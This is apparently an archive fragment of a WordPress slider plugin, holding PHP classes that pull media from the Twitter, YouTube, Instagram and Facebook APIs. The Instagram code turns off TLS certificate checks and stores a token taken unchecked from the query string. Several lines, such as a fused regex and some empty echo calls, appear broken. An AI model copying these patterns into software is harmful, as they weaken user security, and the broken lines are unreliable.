$color .= ',' . $opacity; } $color .= ')'; return $color; } /** * sanitize hex * @since 5.3.1.6 */ public static function sanitizeHex($hex){ $hex = trim(str_replace('#', '' , $hex)); if(strlen($hex) == 3){ $hex[5] = $hex[2]; // f60##0 $hex[4] = $hex[2]; // f60#00 $hex[3] = $hex[1]; // f60600 $hex[2] = $hex[1]; // f66600 $hex[1] = $hex[0]; // ff6600 } return '#'.$hex; } /** * Save presets * @since 5.3.2 */ public static function save_color_presets($presets){ update_option('tp_colorpicker_presets', $presets); return self::get_color_presets(); } /** * Load presets * @since 5.3.2 */ public static function get_color_presets(){ return get_option('tp_colorpicker_presets', array()); } } }includes/external/twitter.class.php000060400000020137151724235750013525 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if (!defined('ABSPATH')) exit(); /** * Twitter * * with help of the API this class delivers all kind of tweeted images from twitter * * @package socialstreams * @subpackage socialstreams/twitter * @author ThemePunch */ class RevSliderTwitter extends RevSliderFunctions { /** * Consumer Key * * @since 1.0.0 * @access private * @var string $consumer_key Consumer Key */ private $consumer_key; /** * Consumer Secret * * @since 1.0.0 * @access private * @var string $consumer_secret Consumer Secret */ private $consumer_secret; /** * Access Token * * @since 1.0.0 * @access private * @var string $access_token Access Token */ private $access_token; /** * Access Token Secret * * @since 1.0.0 * @access private * @var string $access_token_secret Access Token Secret */ private $access_token_secret; /** * Twitter Account * * @since 1.0.0 * @access private * @var string $twitter_account Account User Name */ private $twitter_account; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $consumer_key Twitter App Registration Consomer Key * @param string $consumer_secret Twitter App Registration Consomer Secret * @param string $access_token Twitter App Registration Access Token * @param string $access_token_secret Twitter App Registration Access Token Secret */ public function __construct($consumer_key, $consumer_secret, $access_token, $access_token_secret, $transient_sec = 1200){ $this->consumer_key = $consumer_key; $this->consumer_secret = $consumer_secret; $this->access_token = $access_token; $this->access_token_secret = $access_token_secret; $this->transient_sec = $transient_sec; } /** * Get Tweets * * @since 1.0.0 * @param string $twitter_account Twitter account without trailing @ char */ public function get_public_photos($twitter_account, $include_rts, $exclude_replies, $count, $imageonly){ //require_once( 'class-wp-twitter-api.php'); //Set your personal data retrieved at https://dev.twitter.com/apps $credentials = array( 'consumer_key' => $this->consumer_key, 'consumer_secret' => $this->consumer_secret ); // Let's instantiate our class with our credentials $twitter_api = new RevSliderTwitterApi($credentials, $this->transient_sec); $include_rts = ($include_rts == 'on') ? 'true' : 'false'; $exclude_replies = ($include_rts == 'on') ? 'false' : 'true'; $query = '&tweet_mode=extended&count=500&include_entities=true&include_rts='.$include_rts.'&exclude_replies='.$exclude_replies.'&screen_name='.$twitter_account; $tweets = $twitter_api->query($query); return (!empty($tweets)) ? $tweets : ''; } /** * Find Key in array and return value (multidim array possible) * * @since 1.0.0 * @param string $key Needle * @param array $form Haystack */ public function array_find_element_by_key($key, $form){ if(is_array($form) && array_key_exists($key, $form)){ $ret = $form[$key]; return $ret; } if(is_array($form)){ foreach($form as $k => $v){ if(is_array($v)){ $ret = $this->array_find_element_by_key($key, $form[$k]); if($ret){ return $ret; } } } } return false; } } /** * Class WordPress Twitter API * * https://github.com/micc83/Twitter-API-1.1-Client-for-Wordpress/blob/master/class-wp-twitter-api.php * @version 1.0.0 */ class RevSliderTwitterApi extends RevSliderFunctions { public $bearer_token; // Default credentials public $args = array( 'consumer_key' => 'default_consumer_key', 'consumer_secret' => 'default_consumer_secret' ); // Default type of the resource and cache duration public $query_args = array( 'type' => 'statuses/user_timeline', 'cache' => 1800 ); public $has_error = false; /** * WordPress Twitter API Constructor * * @param array $args */ public function __construct($args = array(), $transient_sec = 1200){ if(is_array($args) && !empty($args)) $this->args = array_merge($this->args, $args); if(!$this->bearer_token = get_option('twitter_bearer_token')) $this->bearer_token = $this->get_bearer_token(); $this->query_args['cache'] = $transient_sec; } /** * Get the token from oauth Twitter API * * @return string Oauth Token */ private function get_bearer_token(){ $bearer_token_credentials = $this->get_val($this->args, 'consumer_key') . ':' . $this->get_val($this->args, 'consumer_secret'); $bearer_token_credentials_64 = base64_encode($bearer_token_credentials); $args = array( 'method' => 'POST', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array( 'Authorization' => 'Basic ' . $bearer_token_credentials_64, 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8', 'Accept-Encoding' => 'gzip' ), 'body' => array('grant_type' => 'client_credentials'), 'cookies' => array() ); $response = wp_remote_post('https://api.twitter.com/oauth2/token', $args); if(is_wp_error($response) || 200 != $response['response']['code']) return $this->bail(__( 'Can\'t get the bearer token, check your credentials', 'revslider'), $response); $result = json_decode($this->get_val($response, 'body')); update_option('twitter_bearer_token', $this->get_val($result, 'access_token')); return $this->get_val($result, 'access_token'); } /** * Query twitter's API * * @uses $this->get_bearer_token() to retrieve token if not working * * @param string $query Insert the query in the format "count=1&include_entities=true&include_rts=true&screen_name=micc1983! * @param array $query_args Array of arguments: Resource type (string) and cache duration (int) * @param bool $stop Stop the query to avoid infinite loop * * @return bool|object Return an object containing the result */ public function query($query, $query_args = array(), $stop = false){ if($this->has_error) return false; if(is_array($query_args) && !empty($query_args)){ $this->query_args = array_merge($this->query_args, $query_args); } $transient_name = 'wta_' . md5($query); if($this->get_val($this->query_args, 'cache', 0) > 0 && false !== ($data = get_transient($transient_name))) return json_decode($data); $args = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array( 'Authorization' => 'Bearer ' . $this->bearer_token, 'Accept-Encoding' => 'gzip' ), 'body' => null, 'cookies' => array() ); $response = wp_remote_get('https://api.twitter.com/1.1/'. $this->get_val($this->query_args, 'type') . '.json?' . $query, $args); if(is_wp_error($response) || 200 != $response['response']['code']){ if(!$stop){ $this->bearer_token = $this->get_bearer_token(); return $this->query($query, $this->query_args, true); }else{ return $this->bail(__('Bearer Token is good, check your query', 'revslider'), $response); } } set_transient($transient_name, $response['body'], $this->query_args['cache']); return json_decode($response['body']); } /** * Let's manage errors * * WP_DEBUG has to be set to true to show errors * * @param string $error_text Error message * @param string $error_object Server response or wp_error */ private function bail($error_text, $error_object = ''){ $this->has_error = true; if(is_wp_error($error_object)){ $error_text .= ' - Wp Error: ' . $error_object->get_error_message(); }elseif(!empty($error_object) && isset($error_object['response']['message'])){ $error_text .= ' ( Response: ' . $error_object['response']['message'] . ')'; } trigger_error($error_text , E_USER_NOTICE); } }includes/external/youtube.class.php000060400000007401151724235750013516 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); /** * Youtube * * with help of the API this class delivers all kind of Images/Videos from youtube * * @package socialstreams * @subpackage socialstreams/youtube * @author ThemePunch */ class RevSliderYoutube extends RevSliderFunctions { /** * API key * * @since 1.0.0 * @access private * @var string $api_key Youtube API key */ private $api_key; /** * Channel ID * * @since 1.0.0 * @access private * @var string $channel_id Youtube Channel ID */ private $channel_id; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key Youtube API key. */ public function __construct($api_key, $channel_id, $transient_sec = 1200){ $this->api_key = $api_key; $this->channel_id = $channel_id; $this->transient_sec = $transient_sec; } /** * Get Youtube Playlists * * @since 1.0.0 */ public function get_playlists(){ //call the API and decode the response $url = "https://www.googleapis.com/youtube/v3/playlists?part=snippet&maxResults=50&channelId=".$this->channel_id."&key=".$this->api_key; $rsp = json_decode(wp_remote_fopen($url)); return $this->get_val($rsp, 'items', false); } /** * Get Youtube Playlist Items * * @since 1.0.0 * @param string $playlist_id Youtube Playlist ID * @param integer $count Max videos count */ public function show_playlist_videos($playlist_id, $count = 50){ //call the API and decode the response if(empty($count)) $count = 50; $url = "https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&playlistId=".$playlist_id."&maxResults=".$count."&fields=items%2Fsnippet&key=".$this->api_key; $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return($data); $rsp = json_decode(wp_remote_fopen($url)); if(!isset($rsp->items)) return array(); set_transient($transient_name, $rsp->items, $this->transient_sec); return $rsp->items; } /** * Get Youtube Channel Items * * @since 1.0.0 * @param integer $count Max videos count */ public function show_channel_videos($count = 50){ if(empty($count)) $count = 50; //call the API and decode the response $url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&channelId='.$this->channel_id.'&maxResults='.$count.'&key='.$this->api_key.'&order=date'; $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $rsp = json_decode(wp_remote_fopen($url)); if(!isset($rsp->items)) return array(); set_transient($transient_name, $rsp->items, $this->transient_sec); return $rsp->items; } /** * Get Playlists from Channel as Options for Selectbox * * @since 1.0.0 */ public function get_playlist_options($current_playlist){ $return = array(); $playlists = $this->get_playlists(); if(!empty($playlists)){ foreach($playlists as $playlist){ $return[] = '"'; } } return $return; } }includes/external/instagram.class.php000060400000063042151724235750014012 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); use EspressoDev\InstagramBasicDisplay as InstagramBasicDisplay; /** * Instagram * * with help of the API this class delivers all kind of Images from instagram * * @package socialstreams * @subpackage socialstreams/instagram * @author ThemePunch */ class RevSliderInstagram extends RevSliderFunctions { const QUERY_SHOW = 'ig_show'; const QUERY_TOKEN = 'ig_token'; const QUERY_CONNECTWITH = 'ig_user'; const QUERY_ERROR = 'ig_error_message'; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * @var array of InstagramBasicDisplay objects */ private $instagram; /** * Transient seconds * * @since 1.0.0 * @access private * @var int $transient_sec Transient time in seconds */ private $transient_sec; /** * Transient for token refresh in seconds * * @since 1.0.0 * @access private * @var int $transient_token_sec Transient time in seconds */ private $transient_token_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param int $transient_sec Transient time in seconds */ public function __construct($transient_sec = 86400){ $this->transient_sec = $transient_sec; $this->transient_token_sec = 86400 * 30; // 30 days } /** * @return int */ public function getTransientSec(){ return $this->transient_sec; } /** * @param int $transient_sec */ public function setTransientSec($transient_sec){ $this->transient_sec = $transient_sec; } /** * @return int */ public function getTransientTokenSec(){ return $this->transient_token_sec; } /** * @param int $transient_token_sec */ public function setTransientTokenSec($transient_token_sec){ $this->transient_token_sec = $transient_token_sec; } public function add_actions(){ add_action('init', array(&$this, 'do_init'), 5); add_action('admin_footer', array(&$this, 'footer_js')); } /** * check if we have QUERY_ARG set * try to login the user */ public function do_init(){ // are we on revslider page? if($this->get_val($_GET, 'page') != 'revslider') return; //instagram returned error if(isset($_GET[self::QUERY_ERROR])) return; //we need token and slide ID to proceed with saving token if(!isset($_GET[self::QUERY_TOKEN]) || !isset($_GET['id'])) return; $token = $_GET[self::QUERY_TOKEN]; $connectwith = $_GET[self::QUERY_CONNECTWITH]; $id = $this->get_val($_GET, 'id'); $slider = new RevSliderSlider(); $slide = new RevSliderSlide(); $slide->init_by_id($id); $slider_id = $slide->get_slider_id(); if(intval($slider_id) == 0){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->init_by_id($slider_id); if($slider->inited === false){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->set_param(array('source', 'instagram', 'token_source'), 'account'); $slider->set_param(array('source', 'instagram', 'token'), $token); $slider->set_param(array('source', 'instagram', 'connect_with'), $connectwith); $slider->update_params(array()); //redirect $url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $url = add_query_arg(array(self::QUERY_TOKEN => false, self::QUERY_SHOW => 1), $url); wp_redirect($url); exit(); } public function footer_js(){ // are we on revslider page? if($this->get_val($_GET, 'page') != 'revslider') return; if(isset($_GET[self::QUERY_SHOW]) || isset($_GET[self::QUERY_ERROR])){ echo ''; } if(isset($_GET[self::QUERY_ERROR])){ $err = __('Instagram Reports: ', 'revslider') . esc_html($_GET[self::QUERY_ERROR]); echo ''; } } public static function get_login_url(){ $app_id = '677807423170942'; $redirect = 'https://updates.themepunch.tools/ig/auth.php'; $id = (isset($_GET['id'])) ? $_GET['id'] : ''; $state = base64_encode(admin_url('admin.php?page=revslider&view=slide&id='.$id)); return sprintf( 'https://api.instagram.com/oauth/authorize?app_id=%s&redirect_uri=%s&response_type=code&scope=user_profile,user_media&state=%s', $app_id, $redirect, $state ); } /** * Get Instagram Users Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_users_photos($search_user_id, $count, $orig_image = ''){ $search_user_array = explode(',', $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_public_photos(trim($search_user), $count, $orig_image); } }else{ $this->get_public_photos(trim($search_user_id), $count, $orig_image); } return $this->stream; } /** * return instagram api object * * @param string $token * @return InstagramBasicDisplay */ public function getInstagram($token){ if( empty($this->instagram[$token]) ){ $this->instagram[$token] = new InstagramBasicDisplay($token); } return $this->instagram[$token]; } /** * refresh Instagram token if needed * * @param string $token Instagram Access Token * @return mixed */ protected function _refresh_token($token){ $transient_token_name = 'revslider_insta_token_'. md5($token); if($this->transient_token_sec > 0 && false !== ($data = get_transient($transient_token_name))){ return; } $instagram = $this->getInstagram($token); //$refresh contain new token, however old token expiry date also updated, so we could still use it $refresh = $instagram->refreshToken($token); set_transient($transient_token_name, $token, $this->transient_token_sec); } /** * Get Instagram User Profile * * @param string $token Instagram Access Token * @return mixed */ public function get_user_profile($token){ $this->_refresh_token($token); $instagram = $this->getInstagram($token); $profile = $instagram->getUserProfile(); if(isset($profile->id)){ return (array)$profile; } return null; } /** * Get Instagram User Pictures * * @since 3.0 * @param int $slider_id slider ID * @param string $token Instagram Access Token * @param string $count media count * @param string $orig_image * @return mixed */ public function get_public_photos($slider_id, $token, $count, $orig_image = ''){ $this->_refresh_token($token); $instagram = $this->getInstagram($token); $cacheKey = 'instagram' . '-' . $slider_id . '-' . $token . '-' . $count; $transient_name = 'revslider_'. md5($cacheKey); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))){ $this->stream = $data; return $this->stream; } else { delete_transient($transient_name); } //Getting instagram images $medias = $instagram->getUserMedia('me', $count); if(isset($medias->data)){ $this->instagram_output_array($medias->data, $count); } if(!empty($this->stream)){ set_transient($transient_name, $this->stream, $this->transient_sec); return $this->stream; }else{ $err = translate('Instagram reports: Please check the settings','revslider'); if(isset($medias->error)){ $err = $medias->error->message; } echo $err; return false; } } function input($name, $default = null){ return isset($_REQUEST[$name]) ? $_REQUEST[$name] : $default; } public function http_request($url, $post = '', $cookies = '', $headers = '', $show_header = true){ $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, $show_header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if($post){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($cookies){ curl_setopt($ch, CURLOPT_COOKIE, $cookies); } if($headers){ curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); $page = curl_exec($ch); curl_close($ch); return $page; } /** * Get Instagram Tags Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_tags_photos($search_user_id, $count, $orig_image){ $search_user_array = explode(',', $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_tag_photos(trim($search_user), $count, $orig_image); } } else{ $this->get_tag_photos(trim($search_user_id), $count, $orig_image); } return $this->stream; } /** * Get Instagram Tag Pictures * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_tag_photos($search_user_id, $count, $orig_image){ if(!empty($search_user_id)){ $search_user_id = str_replace("#", "", $search_user_id); $url = 'https://www.instagram.com/explore/tags/'.$search_user_id.'/?__a=1'; $transient_name = 'revslider_'. md5($url."count=".$count); if($this->transient_sec > 0 && false !== ($data = get_transient( $transient_name))){ $this->stream = $data; return $this->stream; }else{ delete_transient($transient_name); } $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->hashtag->edge_hashtag_to_media->edges, $count, $search_user_id, $orig_image); if(!$rsp->graphql->hashtag->edge_hashtag_to_media->count){ _e('Instagram reports: Please check the settings','revslider'); return false; } while($count){ $url = 'https://www.instagram.com/explore/tags/'.$search_user_id.'/?__a=1&max_id='.$rsp->graphql->hashtag->edge_hashtag_to_media->page_info->end_cursor; $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->tag->media->nodes,$count,$search_user_id,$orig_image); } if(!empty($this->stream)){ set_transient( $transient_name, $this->stream, $this->transient_sec ); return $this->stream; }else{ _e('Instagram reports: Please check the settings','revslider'); return false; } }else{ _e('Instagram reports: Please check the settings','revslider'); return false; } } /** * Get Instagram Locations Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_places_photos($search_user_id, $count, $orig_image){ $search_user_array = explode(",", $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_place_photos(trim($search_user),$count,$orig_image); } } else { $this->get_place_photos(trim($search_user_id),$count,$orig_image); } return $this->stream; } /** * Get Instagram Location Pictures * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_place_photos($search_user_id, $count, $orig_image){ if(!empty($search_user_id)){ $url = 'https://www.instagram.com/explore/locations/'.$search_user_id.'/?__a=1'; $transient_name = 'revslider_'. md5($url."count=".$count); if($this->transient_sec > 0 && false !== ($data = get_transient( $transient_name))){ $this->stream = $data; return $this->stream; } else delete_transient( $transient_name ); $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->location->edge_location_to_media->edges,$count,$search_user_id,$orig_image); if(!$rsp->graphql->location->edge_location_to_media->count){ _e('Instagram reports: Please check the settings','revslider'); return false; } while($count){ $url = 'https://www.instagram.com/explore/locations/'.$search_user_id.'/?__a=1&max_id='.$rsp->graphql->location->edge_location_to_media->page_info->end_cursor; $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->location->edge_location_to_media->edges,$count,$search_user_id,$orig_image); } if(!empty($this->stream)){ set_transient( $transient_name, $this->stream, $this->transient_sec ); return $this->stream; } else { _e('Instagram reports: Please check the settings','revslider'); return false; } } else { _e('Instagram reports: Please check the settings','revslider'); return false; } } /** * Prepare output array $stream * * @since 3.0 * @param array $photos Instagram Output Data * @param int $count resulting number of items */ private function instagram_output_array($photos, $count){ $this->stream = array(); foreach ($photos as $photo){ if($count > 0){ $count--; $shortcode = ''; preg_match('/.+\/p\/(.+)?\//m', $photo->permalink, $matches); if(isset($matches[1])){ $shortcode = $matches[1]; } $photo->display_url = isset($photo->media_url) ? $photo->media_url : ''; if($photo->media_type == 'VIDEO'){ $photo->display_url = isset($photo->thumbnail_url) ? $photo->thumbnail_url : ''; $photo->thumbnail_src = $photo->display_url; $photo->videos['standard_resolution']['url'] = isset($photo->media_url) ? $photo->media_url : ''; } $photo->link = isset($photo->permalink) ? $photo->permalink : ''; $photo->shortcode = $shortcode; $photo->taken_at_timestamp = isset($photo->timestamp) ? $photo->timestamp : ''; $photo->edge_media_to_caption['edges'][0]['node']['text'] = isset($photo->caption) ? $photo->caption : ''; $this->stream[] = $photo; } } return $count; } /** * Prepare output array $stream * * @since 3.0 * @param string $photos Instagram Output Data */ private function instagram_output_array_places($photos, $count, $search_user_id, $orig_image = ''){ foreach ($photos as $photo){ if($count > 0){ $count--; $stream = array(); if($orig_image){ $url = 'https://www.instagram.com/p/'.$photo->code.'/?__a=1'; $rsp = json_decode(wp_remote_fopen($url)); $images = end($rsp->graphql->shortcode_media->display_resources); $orig_image = array( $images->src, $images->config_width, $images->config_height ); } else { $orig_image = array('', 0, 0); } $thumbnail_resources = $photo->thumbnail_resources; $image_url = array( 'Low Resolution' => array( $thumbnail_resources[2]->src, 320, 320 ), 'Thumbnail' => array( $thumbnail_resources[0]->src, 150, 150 ), 'Standard Resolution' => array( $photo->thumbnail_src, 640, 640 ), 'Original Resolution' => $orig_image ); $text = empty($photo->caption) ? '' : $photo->caption; $stream['id'] = $photo->id; $stream['custom-image-url'] = $image_url; //image for entry if($photo->is_video != "true"){ $stream['custom-type'] = 'image'; //image, vimeo, youtube, soundcloud, html } else{ $url = 'https://www.instagram.com/p/'.$photo->code.'/?__a=1'; $rsp = json_decode(wp_remote_fopen($url)); $stream['custom-type'] = 'html5'; //image, vimeo, youtube, soundcloud, html $stream['custom-html5-mp4'] = $rsp->graphql->shortcode_media->video_url; } $stream['post-link'] = 'https://www.instagram.com/p/' . $photo->code; $url = '~(?:(https?)://([^\s<]+)|(www\.[^\s<]+?\.[^\s<]+))(?$0', $text); $stream['title'] = $text; $stream['content'] = $text; $stream['date'] = date_i18n( get_option( 'date_format' ), ( $photo->date ) ) ; $stream['date_modified'] = date_i18n( get_option( 'date_format' ), ( $photo->date ) ) ; $stream['author_name'] = $search_user_id; if(isset($photo->tags)) $stream['tags'] = implode(',', $photo->tags); $stream['likes'] = $photo->likes->count; $stream['likes_short'] = Essential_Grid_Base::thousandsViewFormat($photo->likes->count); $stream['num_comments'] = $photo->comments->count; $this->stream[] = $stream; } } return $count; } /** * Fallback method to get 12 latest photos * @param String $search_user_id (name of instagram user) */ private function getFallbackImages($search_user_id){ //FALLBACK 12 ELEMENTS $page_res = $this->client_request('get', '/' . $search_user_id . '/'); $page_data = ''; switch ($page_res['http_code']){ default: break; case 404: break; case 200: $page_data_matches = array(); if(!preg_match('#window\._sharedData\s*=\s*(.*?)\s*;\s*#', $page_res['body'], $page_data_matches)){ _e('Instagram reports: Parse script error','revslider'); }else{ $page_data = json_decode($page_data_matches[1], true); if(!$page_data || empty($page_data['entry_data']['ProfilePage'][0]['graphql']['user'])){ _e('Instagram reports: Content did not match expected','revslider'); }else{ $user_data = $page_data['entry_data']['ProfilePage'][0]['graphql']['user']; if($user_data['is_private']){ _e('Instagram reports: Content is private','revslider'); } } } break; } if(!$page_data) return $page_data; $user_data = $page_data['entry_data']['ProfilePage'][0]['graphql']['user']; return $user_data; } /** * Cliente request to get 12 instagram photos fallback * @param unknown $type * @param unknown $url * @param unknown $options * @return number[]|string[]|NULL|number[]|string[]|number[]|unknown[]|string[]|number[]|unknown[]|unknown[][]|string[][]|number[][]|NULL[][] */ private function client_request($type, $url, $options = null){ $this->index('client', array( 'base_url' => 'https://www.instagram.com/', 'cookie_jar' => array(), 'headers' => array( // 'Accept-Encoding' => supports_gz () ? 'gzip' : null, 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36', 'Origin' => 'https://www.instagram.com', 'Referer' => 'https://www.instagram.com', 'Connection' => 'close' ) )); $client = $this->index('client'); $type = strtoupper($type); $options = is_array($options) ? $options : array(); $url = (!empty($client['base_url']) ? rtrim($client['base_url'], '/') : '') . $url; $url_info = parse_url($url); $scheme = !empty($url_info['scheme']) ? $url_info['scheme'] : ''; $host = !empty($url_info['host']) ? $url_info['host'] : ''; $port = !empty($url_info['port']) ? $url_info['port'] : ''; $path = !empty($url_info['path']) ? $url_info['path'] : ''; $query_str = !empty($url_info['query']) ? $url_info['query'] : ''; if(!empty($options['query'])){ $query_str = http_build_query($options['query']); } $headers = !empty($client['headers']) ? $client['headers'] : array(); if(!empty($options['headers'])){ $headers = $this->array_merge_assoc($headers, $options['headers']); } $headers['Host'] = $host; $client_cookies = $this->client_get_cookies_list($host); $cookies = $client_cookies; if(!empty($options['cookies'])){ $cookies = $this->array_merge_assoc($cookies, $options['cookies']); } if($cookies){ $request_cookies_raw = array(); foreach ($cookies as $cookie_name => $cookie_value){ $request_cookies_raw[] = $cookie_name . '=' . $cookie_value; } unset($cookie_name, $cookie_data); $headers['Cookie'] = implode('; ', $request_cookies_raw); } if($type === 'POST' && !empty($options['data'])){ $data_str = http_build_query($options['data']); $headers['Content-Type'] = 'application/x-www-form-urlencoded'; $headers['Content-Length'] = strlen($data_str); }else{ $data_str = ''; } $headers_raw_list = array(); foreach($headers as $header_key => $header_value){ $headers_raw_list[] = $header_key . ': ' . $header_value; } unset($header_key, $header_value); $transport_error = null; $curl_support = function_exists('curl_init'); $sockets_support = function_exists('fsockopen'); if(!$curl_support && !$sockets_support){ log_error('Curl and sockets are not supported on this server'); return array( 'status' => 0, 'transport_error' => 'php on web-server does not support curl and sockets' ); } if($curl_support){ $curl = curl_init(); $curl_options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_URL => $scheme . '://' . $host . $path . (!empty($query_str) ? '?' . $query_str : ''), CURLOPT_HTTPHEADER => $headers_raw_list, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_CONNECTTIMEOUT => 15, CURLOPT_TIMEOUT => 60, ); if($type === 'POST'){ $curl_options[CURLOPT_POST] = true; $curl_options[CURLOPT_POSTFIELDS] = $data_str; } curl_setopt_array($curl, $curl_options); $response_str = curl_exec($curl); $curl_info = curl_getinfo($curl); $curl_error = curl_error($curl); curl_close($curl); if($curl_info['http_code'] === 0){ log_error('An error occurred while loading data. curl_error: ' . $curl_error); $transport_error = array('status' => 0, 'transport_error' => 'curl'); if(!$sockets_support){ return $transport_error; } } } if(!$curl_support || $transport_error){ log_error('Trying to load data using sockets'); $headers_str = implode("\r\n", $headers_raw_list); $out = sprintf("%s %s HTTP/1.1\r\n%s\r\n\r\n%s", $type, $path . (!empty($query_str) ? '?' . $query_str : ''), $headers_str, $data_str); if($scheme === 'https'){ $scheme = 'ssl'; $port = !empty($port) ? $port : 443; } $scheme = !empty($scheme) ? $scheme . '://' : ''; $port = !empty($port) ? $port : 80; $sock = @fsockopen($scheme . $host, $port, $err_num, $err_str, 15); if(!$sock){ log_error('An error occurred while loading data error_number: ' . $err_num . ', error_number: ' . $err_str); return array( 'status' => 0, 'error_number' => $err_num, 'error_message' => $err_str, 'transport_error' => $transport_error ? 'curl and sockets' : 'sockets' ); } fwrite($sock, $out); $response_str = ''; while ($line = fgets($sock, 128)){ $response_str .= $line; } fclose($sock); } @list ($response_headers_str, $response_body_encoded, $alt_body_encoded) = explode("\r\n\r\n", $response_str); if($alt_body_encoded){ $response_headers_str = $response_body_encoded; $response_body_encoded = $alt_body_encoded; } $response_body = $response_body_encoded; $response_headers_raw_list = explode("\r\n", $response_headers_str); $response_http = array_shift($response_headers_raw_list); preg_match('#^([^\s]+)\s(\d+)\s([^$]+)$#', $response_http, $response_http_matches); array_shift($response_http_matches); list ($response_http_protocol, $response_http_code, $response_http_message) = $response_http_matches; $response_headers = array(); $response_cookies = array(); foreach ($response_headers_raw_list as $header_row){ list ($header_key, $header_value) = explode(': ', $header_row, 2); if(strtolower($header_key) === 'set-cookie'){ $cookie_params = explode('; ', $header_value); if(empty($cookie_params[0])){ continue; } list ($cookie_name, $cookie_value) = explode('=', $cookie_params[0]); $response_cookies[$cookie_name] = $cookie_value; } else { $response_headers[$header_key] = $header_value; } } unset($header_row, $header_key, $header_value, $cookie_name, $cookie_value); if($response_cookies){ $response_cookies['ig_or'] = 'landscape-primary'; $response_cookies['ig_pr'] = '1'; $response_cookies['ig_vh'] = rand(500, 1000); $response_cookies['ig_vw'] = rand(1100, 2000); $client['cookie_jar'][$host] = $this->array_merge_assoc($client_cookies, $response_cookies); $this->index('client', $client); } return array( 'status' => 1, 'http_protocol' => $response_http_protocol, 'http_code' => $response_http_code, 'http_message' => $response_http_message, 'headers' => $response_headers, 'cookies' => $response_cookies, 'body' => $response_body ); } /** * Helper function for fallback photos function * @param unknown $domain * @return unknown */ private function client_get_cookies_list($domain){ $client = $this->index('client'); $cookie_jar = $client['cookie_jar']; return !empty($cookie_jar[$domain]) ? $cookie_jar[$domain] : array(); } /** * Helper function for fallback photos function * @param unknown $key * @param unknown $value * @param string $f * @return NULL|string */ private function index($key, $value = null, $f = false){ static $index = array(); if($value || $f){ $index[$key] = $value; } return !empty($index[$key]) ? $index[$key] : null; } /** * Helper function for fallback photos function * @return NULL */ private function array_merge_assoc(){ $mixed = null; $arrays = func_get_args(); foreach ($arrays as $k => $arr){ if($k === 0){ $mixed = $arr; continue; } $mixed = array_combine( array_merge(array_keys($mixed), array_keys($arr)), array_merge(array_values($mixed), array_values($arr)) ); } return $mixed; } } // End Classincludes/external/index.php000060400000000033151724235750012017 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); /** * Facebook * * with help of the API this class delivers album images from Facebook * * @package socialstreams * @subpackage socialstreams/facebook * @author ThemePunch */ class RevSliderFacebook extends RevSliderFunctions { const TRANSIENT_PREFIX = 'revslider_fb_'; const URL_FB_AUTH = 'https://updates.themepunch.tools/fb/login.php'; const URL_FB_API = 'https://updates.themepunch.tools/fb/api.php'; const QUERY_SHOW = 'fb_show'; const QUERY_TOKEN = 'fb_token'; const QUERY_PAGE_ID = 'fb_page_id'; const QUERY_CONNECTWITH = 'fb_page_name'; const 